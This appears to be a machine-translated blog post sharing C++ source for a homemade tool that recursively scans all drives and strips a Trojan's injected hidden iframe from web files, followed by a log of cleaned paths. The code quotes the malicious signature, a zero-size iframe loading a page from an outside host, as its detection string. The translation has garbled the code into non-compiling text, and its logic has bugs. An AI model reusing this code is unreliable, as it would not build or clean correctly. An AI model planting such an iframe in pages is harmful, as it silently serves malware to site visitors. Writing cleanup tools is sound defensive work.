A small antivirus program
Today, the machine is poisoned and depressed. It turns out to be a Trojan. All htm, HTML, ASP, aspx, and shtml are infected! No way to scan the virus, but you can't find it. You just need to kill it yourself! I wrote a antivirus program! Haha, it can still be used, but I also found that the previous teacher said that the maximum number of lines in the file is 1024 characters. I used to believe this, and today I did not find it all, there will be more than 1024 of the code written on the webpage. Fortunately, I still have doubts,
The following is the anti-virus source code:
// Coded by winc_co
////////////////////////////
//
// Coded by winc_fan 2007-4-27
//
//////////////////////////////////
# Include <Io. h>
# Include <stdio. h>
# Include <direct. h>
# Include <ctype. h>
# Include <iostream>
# Include <fstream>
# Include <string>
Using namespace STD;
// Infected Trojan
STD: String Virus = "<IFRAME src = http://pp.900666.com/abc.htm width = 0 Height = 0> </iframe> ";
// Method declaration
Void dirpath ();
Void inter ();
Void killer (STD: String path );
Bool chkfileex (STD: String filename );
Void Init ();
Void main ()
{
Inter ();
Init ();
Cout <"...... complete anti-virus ......" <Endl;
}
// Start Interface Design
Void inter ()
{
Cout <"======================================== ======================== "<Endl;
Cout <"Welcome to winc_co anti-virus software! "<Endl;
Cout <"anti-virus starts..." <Endl;
}
/// Browse Directory
Void dirpath (STD: String path)
{
If (chkfileex (PATH ))
{
Cout <"Find target file" <Endl;
Cout <path <Endl;
Killer (PATH );
}
// Define the object structure
Int Len = path. Length ();
Int idx = path. find_last_of ('.');
If (idx = len-1)
Return;
Struct _ finddata_t c_file; // head file <Io. h>
Long findfile;
Path = path + "//";
STD: String filename = path;
Path + = "*.*";
Findfile = _ findfirst (path. c_str (), & c_file );
While (_ findnext (findfile, & c_file) = 0)
{
If (chkfileex (c_file.name ))
{
Cout <"Find target file" <Endl;
Cout <FILENAME + c_file.name <Endl;
Killer (filename + c_file.name );
Continue;
}
Dirpath (filename + c_file.name );
}
_ Findclose (findfile );
}
// Start of the program .....
Void Init ()
{
// Obtain the root directory of the drive letter
STD: String DSK;
For (INT drive = 1; drive <= 26; drive ++)
{
// Head file <direct. h>
If (! _ Chdrive (drive ))
DSK = drive + 'a'-1;
DSK + = ":";
Dirpath (DSK );
}
}
// Process infected files
Void killer (STD: String path)
{
Fstream log; // Log File
Fstream temp; // temporary file
Fstream target; // target file
STD: String tempfile = path. substr (0, path. find_last_of ('//') + "[url = file: // temp.txt] // temp.txt [/url]";
Temp. Open (tempfile. c_str (), STD: IOS: Out );
Target. Open (path. c_str ());
Char Buf [511025];
STD: String contp; // contents of temporary files
While (! Target. EOF ())
{
Target. Getline (BUF, 511024 );
STD: String cockhorse; // Trojan
Cockhorse = Buf;
// Key steps for virus processing skip the Trojan
If (cockhorse. Find (virus )! =-1l)
{
Int I = cockhorse. Find (virus );
If (I! = 0)
{
Contp + = cockhorse. substr (0, I-1 );
}
Continue;
}
Contp + = Buf;
Contp + = '/N'; // Add a line break
}
// Save the content
Temp. Write (contp. c_str (), contp. Length ());
Temp. Close ();
Target. Close ();
// Delete the target file. Use a temporary file instead.
Remove (path. c_str ());
Rename (tempfile. c_str (), path. c_str ());
// Record logs
Log. Open ("C: // log.txt", STD: IOS: Out | STD: IOS: In | STD: IOS: APP );
STD: String logstr = path + '/N ';
Path + = '/N ';
Log. Write (path. c_str (), path. Length ());
Log. Close ();
}
// Suffix Determination
Bool chkfileex (STD: String filename)
{
STD: String exname;
Int EX = filename. find_last_of (".");
If (EX =-1)
Return false;
Exname = filename. substr (Ex );
// Suffix check
If (exname = ". html "| exname = ". aspx "| exname = ". htm "| exname = ". ASP "| exname = ". shtml ")
Return true;
Return false;
}
// ================================================ ==============================
Logs:
C:/Documents and Settings/_ CSU/Application Data/Mozilla/Firefox/profiles/l0zhbjov. Default/bookmarkbackups/bookmarks-2004-10-15.html
C:/Documents and Settings/_ CSU/Application Data/Mozilla/Firefox/profiles/l0zhbjov. Default/bookmarkbackups/bookmarks-2007-04-15.html
C:/Documents and Settings/_ CSU/Application Data/Mozilla/Firefox/profiles/l0zhbjov. Default/bookmarks.html
C:/Documents and Settings/_ CSU/Local Settings/Temporary Internet Files/content. ie5/gdmg02v1/PV [1]. aspx
C:/Documents and Settings/_ CSU/Local Settings/Temporary Internet Files/content. ie5/gdmg02v1/welcome%1).shtml
C:/Documents and Settings/_ CSU/Local Settings/Temporary Internet Files/content. ie5/muglzbf5/s [1]. aspx
C:/Documents and Settings/_ CSU/Local Settings/Temporary Internet Files/content. ie5/muglzbf5/s [2]. aspx
C:/Documents and Settings/_ CSU/Local Settings/Temporary Internet Files/content. ie5/yu4suci0/upload1_1).html
C:/Documents and Settings/_ CSU/Local Settings/Temporary Internet Files/content. ie5/yu4suci0/url_count [2]. aspx
C:/inetpub/iissamples/SDK/asp/applications/application_jscript.asp
C:/inetpub/iissamples/SDK/asp/applications/application_vbscript.asp
C:/inetpub/iissamples/SDK/asp/applications/session_jscript.asp
C:/inetpub/iissamples/SDK/asp/applications/session_vbscript.asp
C:/inetpub/iissamples/SDK/asp/components/adrotator_jscript.asp
C:/inetpub/iissamples/SDK/asp/components/adrotator_vbscript.asp
C:/inetpub/iissamples/SDK/asp/components/browsercap_jscript.asp
C:/inetpub/iissamples/SDK/asp/components/browsercap_vbscript.asp
C:/inetpub/iissamples/SDK/asp/components/redirect. asp
C:/inetpub/iissamples/SDK/asp/database/adddelete_jscript.asp
C:/inetpub/iissamples/SDK/asp/database/adddelete_vbscript.asp
C:/inetpub/iissamples/SDK/asp/database/limitrows_jscript.asp
C:/inetpub/iissamples/SDK/asp/database/limitrows_vbscript.asp
C:/inetpub/iissamples/SDK/asp/database/multiscrolling_jscript.asp
C:/inetpub/iissamples/SDK/asp/database/multiscrolling_vbscript.asp
C:/inetpub/iissamples/SDK/asp/database/simplequery_jscript.asp
C:/inetpub/iissamples/SDK/asp/database/simplequery_vbscript.asp
C:/inetpub/iissamples/SDK/asp/database/storedprocedures_jscript.asp
C:/inetpub/iissamples/SDK/asp/database/storedprocedures_vbscript.asp
.........
Too many. Just list them.
// It turns out that some files are in uppercase, so there is a problem in the suffix determination. Just use cstring to convert them into lowercase!
Cstring cexname = exname;
Cexname. makelower ();
If (cexname = ". html" |
Cexname = ". aspx" |
Cexname = ". htm" |
Cexname = ". asp" |
Cexname = ". shtml"
)